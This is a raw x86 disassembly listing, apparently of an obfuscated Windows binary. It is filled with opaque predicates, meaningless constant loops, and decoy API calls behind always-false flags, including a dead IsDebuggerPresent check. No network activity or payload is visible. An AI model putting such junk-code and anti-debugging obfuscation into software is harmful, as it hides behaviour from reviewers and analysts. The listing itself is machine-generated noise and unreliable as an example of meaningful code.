mov dword [eax], 0x3b16aac8
jmp 0x435c68
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x1190]
call fcn.004012f8
cmp dword [eax], 0
je 0x435ccd
push 0
lea ecx, [ebp - 0x1190]
call fcn.004012f8
mov ecx, dword [ebp - 0x338]
cmp dword [eax], ecx
jle 0x435ccd
mov dword [ebp - 0x830], 1
jmp 0x435cd4
and dword [ebp - 0x830], 0
push 0
lea ecx, [ebp - 0x17a0]
call fcn.004012f8
mov ecx, dword [ebp - 0x830]
mov dword [eax], ecx
mov dword [ebp - 0x338], 0
jmp 0x435d02
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 3
jg 0x435d62
mov dword [ebp - 0x2b0], 0xa0c0e075
mov dword [ebp - 0x2b0], 3
jmp 0x435d2e
mov eax, dword [ebp - 0x2b0]
dec eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0
jl 0x435d55
mov dword [ebp - 0x1384], 0
cmp dword [ebp - 0x3c], 0
je 0x435d49
jmp 0x435d55
mov dword [ebp - 0x1384], 0xfffffffb
jmp 0x435d21
cmp dword [ebp - 0x2b0], 0
je 0x435d60
jmp 0x435cf5
jmp 0x435cf5
lea ecx, [ebp - 0x17a0]
call fcn.004017b5
jmp 0x435c2b
jmp 0x435d8a
mov dword [ebp - 0xed0], 0xfffffffa
mov eax, dword [ebp - 0xed0]
mov dword [ebp - 0xed0], eax
mov dword [ebp - 0x300], 3
jmp 0x435da3
mov eax, dword [ebp - 0x300]
dec eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0
jl 0x435ee0
mov dword [ebp - 0x5f8], 0xda314325
mov dword [ebp - 0x850], 0x8ac507b3
cmp dword [ebp - 0x3c], 0
jne 0x435ddc
cmp dword [ebp - 0x5f8], 0
jne 0x435ddc
and dword [ebp - 0x838], 0
jmp 0x435de6
mov dword [ebp - 0x838], 1
mov eax, dword [ebp - 0x838]
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0
jne 0x435e0e
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x1190]
call fcn.004012f8
cmp dword [eax], 0
je 0x435e23
mov eax, 0xe8314aab
test eax, eax
je 0x435e23
mov dword [ebp - 0xca0], 1
jmp 0x435e2a
and dword [ebp - 0xca0], 0
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0xca0]
cmp eax, dword [ebp - 0x850]
jl 0x435e47
mov dword [ebp - 0x840], 1
jmp 0x435e4e
and dword [ebp - 0x840], 0
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x1190]
call fcn.004012f8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x840]
jg 0x435e72
mov dword [ebp - 0x1078], 1
jmp 0x435e79
and dword [ebp - 0x1078], 0
cmp dword [ebp - 0x1078], 0x74db9bec
jl 0x435e91
mov dword [ebp - 0x848], 1
jmp 0x435e98
and dword [ebp - 0x848], 0
cmp dword [ebp - 0x848], 0xdbd3d38e
jb 0x435eb0
mov dword [ebp - 0xca8], 1
jmp 0x435eb7
and dword [ebp - 0xca8], 0
mov eax, dword [ebp - 0xca8]
mov dword [ebp - 0x680], eax
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x680], eax
mov eax, dword [ebp - 0x680]
mov dword [ebp - 0x850], eax
jmp 0x435d96
jmp 0x435bdf
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x1190]
call fcn.004017b5
mov dword [ebp - 0x1d0c], 0x61928c17
mov dword [ebp - 0x1d08], 0x61928c17
mov dword [ebp - 0x1d04], 0x61928c17
mov dword [ebp - 0x1d00], 0x61928c17
mov dword [ebp - 0x258], 0x3aa9ac70
mov dword [ebp - 0x258], 0
jmp 0x435f41
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 3
jg 0x435fed
mov dword [ebp - 0x534], 0x80849f84
mov dword [ebp - 0x534], 0
jmp 0x435f71
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 3
jg 0x435fe8
mov dword [ebp - 0x3ac], 0xffffffff
mov dword [ebp - 0x3ac], 0
jmp 0x435f9d
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 3
jg 0x435fe3
mov byte [ebp - 0x15f], 0
movzx eax, byte [ebp - 0x15f]
test eax, eax
je 0x435fc2
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov byte [ebp - 0x161], 0
movzx eax, byte [ebp - 0x161]
test eax, eax
je 0x435fe1
push 0x11fa
push 0
call dword [sym.imp.USER32.dll_CharLowerBuffW]
jmp 0x435f90
jmp 0x435f64
jmp 0x435f34
cmp dword [ebp - 0x258], 0x193e0566
jge 0x436005
mov dword [ebp - 0xed8], 1
jmp 0x43600c
and dword [ebp - 0xed8], 0
mov eax, dword [ebp - 0xed8]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x178], 0xfffffffe
mov dword [ebp - 0x6c0], 8
mov dword [ebp - 0x18ec], 0x8884515f
mov dword [ebp - 0x139c], 0xe974a520
mov dword [ebp - 0x13a4], 7
mov dword [ebp - 0x18f4], 0x32883e73
mov dword [ebp - 0x878], 0xec51
mov dword [ebp - 0x178], 0xa
jmp 0x436077
mov eax, dword [ebp - 0x178]
dec eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 2
jne 0x436272
mov dword [ebp - 0x2b8], 0xfffffff6
mov dword [ebp - 0x138c], 0xfffffffa
mov dword [ebp - 0x3b4], 0xfffffffa
mov dword [ebp - 0xcb0], 0xfffffff8
mov dword [ebp - 0x858], 0
mov dword [ebp - 0x600], 0xffff
mov dword [ebp - 0x4b4], 0
jmp 0x4360d9
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 3
jge 0x4360f5
mov eax, dword [ebp - 0x4b4]
mov dword [ebp + eax*4 - 0x1dc4], 0x20985a95
jmp 0x4360cc
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x18fc], eax
cmp dword [ebp - 0x178], 0
je 0x43612b
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x1904], eax
cmp dword [ebp - 0x138c], 0
je 0x43612b
mov dword [ebp - 0x1394], 1
jmp 0x436132
and dword [ebp - 0x1394], 0
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x190c], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x1914], eax
cmp dword [ebp - 0x139c], 0x3388
jl 0x436162
mov dword [ebp - 0x860], 1
jmp 0x436169
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
mov eax, dword [ebp - 0x600]
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0xcb0], eax
mov eax, dword [ebp - 0xcb0]
sub eax, dword [ebp - 0x860]
mov ecx, dword [ebp - 0x178]
sub ecx, eax
mov dword [ebp - 0x3b4], ecx
mov eax, dword [ebp - 0x2b8]
cmp dword [ebp - 0x3b4], eax
je 0x4361c2
mov dword [ebp - 0x868], 1
jmp 0x4361c9
and dword [ebp - 0x868], 0
mov dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6c0]
mov dword [ebp - 0xff0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xff0]
mov dword [ebp + eax - 0x1dc4], ecx
mov eax, dword [ebp - 0xff0]
cmp eax, dword [ebp - 0x868]
jg 0x43620c
mov dword [ebp - 0xcb8], 1
jmp 0x436213
and dword [ebp - 0xcb8], 0
mov eax, dword [ebp - 0x2b8]
cmp dword [ebp - 0xcb8], eax
jl 0x43622d
mov dword [ebp - 0x870], 1
jmp 0x436234
and dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0x2b8], eax
mov eax, dword [ebp - 0x3b4]
cmp dword [ebp - 0x13a4], eax
jge 0x43625a
mov dword [ebp - 0xee0], 1
jmp 0x436261
and dword [ebp - 0xee0], 0
mov eax, dword [ebp - 0xee0]
mov dword [ebp - 0x6c0], eax
jmp 0x43606a
mov eax, dword [ebp - 0x878]
inc eax
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x1640], 1
mov dword [ebp - 0x163c], 1
mov dword [ebp - 0x1638], 1
mov dword [ebp - 0x1634], 1
lea ecx, [ebp - 0x5c9]
call fcn.004017d1
push eax
lea eax, [ebp - 0x1630]
push eax
lea eax, [ebp - 0x1640]
push eax
lea ecx, [ebp - 0x1e3c]
call fcn.004017d4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1184]
call fcn.0040178f
mov dword [ebp - 0x38], 0x30f94f37
mov dword [ebp - 0x638], 1
mov dword [ebp - 0x328], 0x2a72
mov dword [ebp - 0x608], 0xffffffff
mov dword [ebp - 0x13b4], 0x61d5
push 1
lea ecx, [ebp - 0x1740]
call fcn.004016e3
mov dword [ebp - 0x13bc], 0xffffffff
mov dword [ebp - 0xee8], 0xffff
mov dword [ebp - 0x13c4], 0x3a0f0f5e
mov dword [ebp - 0x13cc], 0xc62bb2c5
mov dword [ebp - 0x5b4], 0
jmp 0x436359
mov eax, dword [ebp - 0x5b4]
inc eax
mov dword [ebp - 0x5b4], eax
cmp dword [ebp - 0x5b4], 1
jge 0x436378
push dword [ebp - 0x5b4]
lea ecx, [ebp - 0x1740]
call fcn.004012f8
or dword [eax], 0xffffffff
jmp 0x43634c
mov eax, dword [ebp - 0x328]
cmp dword [ebp - 0x328], eax
jne 0x43643d
cmp dword [ebp - 0x328], 0
je 0x4363a6
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x4363a6
mov dword [ebp - 0xcc0], 1
jmp 0x4363ad
and dword [ebp - 0xcc0], 0
mov eax, dword [ebp - 0xcc0]
mov dword [ebp - 0x608], eax
mov eax, dword [ebp - 0x608]
cmp dword [ebp - 0x328], eax
jl 0x4363d3
mov dword [ebp - 0x880], 1
jmp 0x4363da
and dword [ebp - 0x880], 0
mov eax, dword [ebp - 0x328]
cmp dword [ebp - 0x880], eax
jge 0x4363f4
mov dword [ebp - 0x13ac], 1
jmp 0x4363fb
and dword [ebp - 0x13ac], 0
mov eax, dword [ebp - 0x13b4]
mov dword [ebp - 0x191c], eax
mov eax, dword [ebp - 0x608]
mov dword [ebp - 0x10cc], eax
push 0
lea ecx, [ebp - 0x1740]
call fcn.004012f8
mov ecx, dword [ebp - 0x10cc]
mov dword [eax], ecx
cmp dword [ebp - 0x10cc], 0
je 0x43643d
mov dword [ebp - 0x888], 1
jmp 0x436444
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x13bc]
cmp dword [ebp - 0x888], eax
jle 0x43645e
mov dword [ebp - 0xcc8], 1
jmp 0x436465
and dword [ebp - 0xcc8], 0
cmp dword [ebp - 0xcc8], 0x6b9c
jge 0x43647d
mov dword [ebp - 0x890], 1
jmp 0x436484
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0xee8]
cmp dword [ebp - 0x890], eax
jg 0x43649e
mov dword [ebp - 0x898], 1
jmp 0x4364a5
and dword [ebp - 0x898], 0
mov eax, dword [ebp - 0xee8]
add eax, dword [ebp - 0x898]
cmp eax, dword [ebp - 0x13c4]
jg 0x4364c5
mov dword [ebp - 0xcd0], 1
jmp 0x4364cc
and dword [ebp - 0xcd0], 0
mov eax, dword [ebp - 0xcd0]
mov dword [ebp - 0x13cc], eax
lea ecx, [ebp - 0x1740]
call fcn.004017b5
mov dword [ebp - 0x13d4], 0x7dfa860b
mov dword [ebp - 0x13dc], 0x71c7bf0b
push 2
lea ecx, [ebp - 0x1b14]
call fcn.004016e3
mov dword [ebp - 0x3bc], 0
jmp 0x43651d
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 2
jge 0x43653f
push dword [ebp - 0x3bc]
lea ecx, [ebp - 0x1b14]
call fcn.004012f8
mov dword [eax], 7
jmp 0x436510
mov byte [ebp - 0x163], 0
movzx eax, byte [ebp - 0x163]
test eax, eax
je 0x436557
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov eax, dword [ebp - 0x13d4]
mov dword [ebp - 0x13dc], eax
lea ecx, [ebp - 0x1b14]
call fcn.004017b5
mov dword [ebp - 0x38], 3
jmp 0x43657e
mov eax, dword [ebp - 0x38]
dec eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jl 0x439371
mov dword [ebp - 0x4c], 0xa53d06ce
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0x2c0], 0xffffffff
push 2
lea ecx, [ebp - 0x1b24]
call fcn.004016e3
mov dword [ebp - 0x12c], 0
jmp 0x4365c9
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 3
jge 0x4365e5
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0x1178], 0xf251d69f
jmp 0x4365bc
mov dword [ebp - 0x12c], 0
jmp 0x4365fe
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 2
jge 0x436620
push dword [ebp - 0x12c]
lea ecx, [ebp - 0x1b24]
call fcn.004012f8
mov dword [eax], 0x337b27f9
jmp 0x4365f1
mov eax, dword [ebp - 0xb4]
dec eax
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x4c], 0x8932
cmp dword [ebp - 0x4c], 0xffff
ja 0x436649
mov dword [ebp - 0x1510], 1
jmp 0x436650
and dword [ebp - 0x1510], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1178]
mov dword [ebp - 0x1924], eax
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], eax
jge 0x436677
mov dword [ebp - 0x8a0], 1
jmp 0x43667e
and dword [ebp - 0x8a0], 0
cmp dword [ebp - 0x8a0], 0xcbe9
jle 0x436696
mov dword [ebp - 0x688], 1
jmp 0x43669d
and dword [ebp - 0x688], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x688]
mov dword [ebp + eax - 0x1178], ecx
cmp dword [ebp - 0x688], 0xfaeb
je 0x4366c8
mov dword [ebp - 0xff8], 1
jmp 0x4366cf
and dword [ebp - 0xff8], 0
mov eax, dword [ebp - 0xb4]
imul eax, dword [ebp - 0xff8]
add eax, dword [ebp - 0xb4]
sub eax, dword [ebp - 0x4c]
jne 0x4366f9
mov eax, 0x4ed3
test eax, eax
jne 0x4366f9
and dword [ebp - 0x8a8], 0
jmp 0x436703
mov dword [ebp - 0x8a8], 1
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x8a8]
cmp eax, 0xffffffff
jl 0x43671d
mov dword [ebp - 0xcd8], 1
jmp 0x436724
and dword [ebp - 0xcd8], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0xcd8], eax
jl 0x43673e
mov dword [ebp - 0x8b0], 1
jmp 0x436745
and dword [ebp - 0x8b0], 0
mov eax, dword [ebp - 0xb4]
imul eax, dword [ebp - 0x8b0]
cmp eax, dword [ebp - 0xb4]
jg 0x436af0
mov dword [ebp - 0x70], 0x7a75
mov dword [ebp - 0x14d8], 0
mov dword [ebp - 0x4c], 0xffffffee
jmp 0x43677f
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xffffffe5
jne 0x436aee
mov dword [ebp - 0x140], 0xadeb9459
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x140], eax
jl 0x4367aa
mov dword [ebp - 0x8c8], 1
jmp 0x4367b1
and dword [ebp - 0x8c8], 0
cmp dword [ebp - 0x4c], 0x3e2be8ca
jne 0x4367c6
mov dword [ebp - 0xef0], 1
jmp 0x4367cd
and dword [ebp - 0xef0], 0
mov eax, dword [ebp - 0xb4]
add eax, dword [ebp - 0xef0]
cmp eax, 8
jne 0x4367ea
mov dword [ebp - 0x8b8], 1
jmp 0x4367f1
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x8b8]
add eax, 0xa902
cmp eax, dword [ebp - 0x140]
jle 0x436813
cmp dword [ebp - 0x70], 0
jne 0x436813
and dword [ebp - 0xce0], 0
jmp 0x43681d
mov dword [ebp - 0xce0], 1
mov eax, dword [ebp - 0x70]
imul eax, dword [ebp - 0xce0]
cmp eax, dword [ebp - 0xb4]
je 0x43683b
mov dword [ebp - 0x8c0], 1
jmp 0x436842
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0x8c0]
sub eax, dword [ebp - 0x70]
je 0x436862
cmp dword [ebp - 0x140], 0
je 0x436862
mov dword [ebp - 0x610], 1
jmp 0x436869
and dword [ebp - 0x610], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x610]
mov dword [ebp + eax - 0x1178], ecx
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x610], eax
jle 0x436893
mov dword [ebp - 0x1080], 1
jmp 0x43689a
and dword [ebp - 0x1080], 0
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x1080]
mov ecx, dword [ebp - 0x8c8]
sub ecx, eax
sub ecx, dword [ebp - 0x70]
imul eax, ecx, 0xd1cd
cmp eax, dword [ebp - 0x4c]
je 0x4368c6
mov dword [ebp - 0xce8], 1
jmp 0x4368cd
and dword [ebp - 0xce8], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0xce8], eax
jle 0x4368e4
mov dword [ebp - 0x8d0], 1
jmp 0x4368eb
and dword [ebp - 0x8d0], 0
mov eax, dword [ebp - 0x8d0]
sub eax, dword [ebp - 0x70]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x140], 0xfffffff9
jmp 0x436913
mov eax, dword [ebp - 0x140]
dec eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0xffffffea
jge 0x436ae9
mov dword [ebp - 0x6c8], 0x45464cd0
mov dword [ebp - 0xf4], 0
jmp 0x436943
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 2
jge 0x43695f
mov eax, dword [ebp - 0xf4]
mov dword [ebp + eax*4 - 0x17f4], 0xffffffff
jmp 0x436936
mov dword [ebp - 0xf4], 0
jmp 0x436978
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jge 0x436994
mov eax, dword [ebp - 0xf4]
mov dword [ebp + eax*4 - 0x1518], 0x717f6c07
jmp 0x43696b
mov eax, dword [ebp - 0x6c8]
mov dword [ebp - 0x192c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1178], 0
je 0x436a22
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1178]
mov dword [ebp - 0x1934], eax
mov eax, 0xe7d1
imul eax, eax, 0xfffd
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 0
je 0x4369f2
mov eax, 0xb720
test eax, eax
je 0x4369f2
mov dword [ebp - 0xef8], 1
jmp 0x4369f9
and dword [ebp - 0xef8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x17f4]
imul eax, dword [ebp - 0xef8]
dec eax
jne 0x436a16
cmp dword [ebp - 0x70], 0
je 0x436a22
mov dword [ebp - 0x8d8], 1
jmp 0x436a29
and dword [ebp - 0x8d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1518]
cmp dword [ebp - 0x8d8], eax
jle 0x436a4a
mov dword [ebp - 0xcf0], 1
jmp 0x436a51
and dword [ebp - 0xcf0], 0
mov eax, dword [ebp - 0x140]
cmp dword [ebp - 0xcf0], eax
jg 0x436a6b
mov dword [ebp - 0x8e0], 1
jmp 0x436a72
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x8e0]
sub eax, dword [ebp - 0x70]
mov dword [ebp - 0x14d8], eax
mov byte [ebp - 0x165], 0
movzx eax, byte [ebp - 0x165]
test eax, eax
je 0x436ae4
push 0x21f0
push 0xac9
push 0x15e3
push 0
push 0xc49
push 0x6fc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x13a3
push 0x171
push 0x18e4
push 0x1fb8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
jmp 0x436906
jmp 0x436778
jmp 0x436b4f
mov dword [ebp - 0x2c0], 0
jmp 0x436b09
mov eax, dword [ebp - 0x2c0]
dec eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0xffffffef
jg 0x436b4f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1178], 0
je 0x436b24
jmp 0x436b4f
mov byte [ebp - 0x167], 0
movzx eax, byte [ebp - 0x167]
test eax, eax
je 0x436b4d
push 0x1d34
push 0x1cea
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
jmp 0x436afc
lea ecx, [ebp - 0x1b24]
call fcn.004017b5
mov dword [ebp - 0x2e8], 1
push 4
lea ecx, [ebp - 0x5c8]
call fcn.004016e3
mov dword [ebp - 0x618], 5
mov dword [ebp - 0x690], 0x7f4ea14c
mov dword [ebp - 0x1000], 0
mov dword [ebp - 0x193c], 0x7276cc72
mov dword [ebp - 0xbc], 0
jmp 0x436bb2
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 4
jge 0x436bd1
push dword [ebp - 0xbc]
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
or dword [eax], 0xffffffff
jmp 0x436ba5
mov dword [ebp - 0xbc], 0
jmp 0x436bea
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x436c06
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x1460], 0x8142c78e
jmp 0x436bdd
mov byte [ebp - 0x169], 0
movzx eax, byte [ebp - 0x169]
test eax, eax
je 0x436c27
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 1
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
mov esi, eax
push 2
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x436c55
mov dword [ebp - 0x8e8], 1
jmp 0x436c5c
and dword [ebp - 0x8e8], 0
push 1
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
push 0
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
mov esi, eax
push 3
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
mov esi, dword [esi]
sub esi, dword [eax]
push 1
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
imul esi, dword [eax]
mov dword [ebp - 0x618], esi
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x1944], eax
push 0
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
cmp dword [ebp - 0x618], 0
je 0x436ccd
mov dword [ebp - 0x1254], 1
jmp 0x436cd4
and dword [ebp - 0x1254], 0
mov dword [ebp - 0x690], 0xffffffff
mov eax, dword [ebp - 0x690]
mov dword [ebp - 0x1000], eax
cmp dword [ebp - 0x1000], 0xe3d1aa12
jbe 0x436d02
mov dword [ebp - 0x11a0], 1
jmp 0x436d09
and dword [ebp - 0x11a0], 0
push 2
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
mov esi, dword [ebp - 0x690]
push 3
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
mov eax, dword [eax]
lea eax, [esi + eax + 0x2737ae9f]
cmp dword [ebp - 0x8e8], eax
jg 0x436d46
mov dword [ebp - 0xcf8], 1
jmp 0x436d4d
and dword [ebp - 0xcf8], 0
push 2
lea ecx, [ebp - 0x5c8]
call fcn.004012f8
mov ecx, dword [ebp - 0xcf8]
add ecx, dword [eax]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1460], ecx
lea ecx, [ebp - 0x5c8]
call fcn.004017b5
mov dword [ebp - 0x228], 0x1e559696
mov dword [ebp - 0x620], 0xfffffff6
mov dword [ebp - 0x11b0], 0xbb101eb
mov dword [ebp - 0x4bc], 0
jmp 0x436db1
mov eax, dword [ebp - 0x4bc]
inc eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 1
jge 0x436dcd
mov eax, dword [ebp - 0x4bc]
mov dword [ebp + eax*4 - 0x280], 0xffffffff
jmp 0x436da4
mov dword [ebp - 0x228], 0
jmp 0x436de6
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jg 0x436e54
mov byte [ebp - 0x1f1], 0
movzx eax, byte [ebp - 0x1f1]
test eax, eax
je 0x436e52
push 0x21f0
push 0xac9
push 0x15e3
push 0
push 0xc49
push 0x6fc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x13a3
push 0x171
push 0x18e4
push 0x1fb8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
jmp 0x436dd9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x280]
mov dword [ebp - 0x194c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x280]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x228]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0x280]
mov dword [ebp - 0x620], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x280]
cmp dword [ebp + eax - 0x280], ecx
jle 0x436ebb
mov dword [ebp - 0x8f0], 1
jmp 0x436ec2
and dword [ebp - 0x8f0], 0
cmp dword [ebp - 0x8f0], 6
jge 0x436ed7
mov dword [ebp - 0x11a8], 1
jmp 0x436ede
and dword [ebp - 0x11a8], 0
or eax, 0xffffffff
jne 0x436ef5
cmp dword [ebp - 0x620], 0
jne 0x436ef5
and dword [ebp - 0x1388], 0
jmp 0x436eff
mov dword [ebp - 0x1388], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x280]
mov dword [ebp - 0x1954], eax
mov eax, dword [ebp - 0x620]
mov dword [ebp - 0x11b0], eax
push dword [ebp - 0x38]
lea ecx, [ebp - 0x1184]
call fcn.004012f8
mov eax, dword [eax]
add eax, 0x52d8cb4c
je 0x4386df
mov dword [ebp - 0x53c], 9
mov dword [ebp - 0x14e8], 0x386cce57
mov dword [ebp - 0x3c4], 0
jmp 0x436f66
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 3
jge 0x436f82
mov eax, dword [ebp - 0x3c4]
mov dword [ebp + eax*4 - 0x1eb8], 0x53bc6e5c
jmp 0x436f59
mov byte [ebp - 0x150], 0
movzx eax, byte [ebp - 0x150]
test eax, eax
je 0x436fa0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
mov dword [ebp - 0x14e8], 0x714a0256
mov dword [ebp - 0x53c], 3
jmp 0x436fc3
cmp dword [ebp - 0x53c], 0
jl 0x4386da
mov dword [ebp - 0x195c], 0xfffffff7
mov dword [ebp - 0x1964], 0x4cd45360
mov dword [ebp - 0x196c], 0x473e
mov dword [ebp - 0x1974], 0xa9831117
push 1
lea ecx, [ebp - 0x1b34]
call fcn.004016e3
mov dword [ebp - 0x197c], 0xbc1c234a
mov dword [ebp - 0x1984], 0x4f77722a
mov dword [ebp - 0x198c], 1
push 4
lea ecx, [ebp - 0x16bc]
call fcn.004016e3
mov dword [ebp - 0x18], 0
jmp 0x437040
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x437056
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1ee8], 0xfffffff7
jmp 0x437039
mov dword [ebp - 0x18], 0
jmp 0x437066
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x437082
push dword [ebp - 0x18]
lea ecx, [ebp - 0x1b34]
call fcn.004012f8
mov dword [eax], 4
jmp 0x43705f
mov dword [ebp - 0x18], 0
jmp 0x437092
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x4370ae
push dword [ebp - 0x18]
lea ecx, [ebp - 0x16bc]
call fcn.004012f8
mov dword [eax], 0xe213
jmp 0x43708b
push 0
lea ecx, [ebp - 0x16bc]
call fcn.004012f8
mov dword [ebp - 0xf00], eax
mov eax, dword [ebp - 0xf00]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xf00]
mov dword [ecx], eax
lea ecx, [ebp - 0x16bc]
call fcn.004017b5
lea ecx, [ebp - 0x1b34]
call fcn.004017b5
mov dword [ebp - 0x2c8], 0xffffffff
push 2
lea ecx, [ebp - 0x1764]
call fcn.004016e3
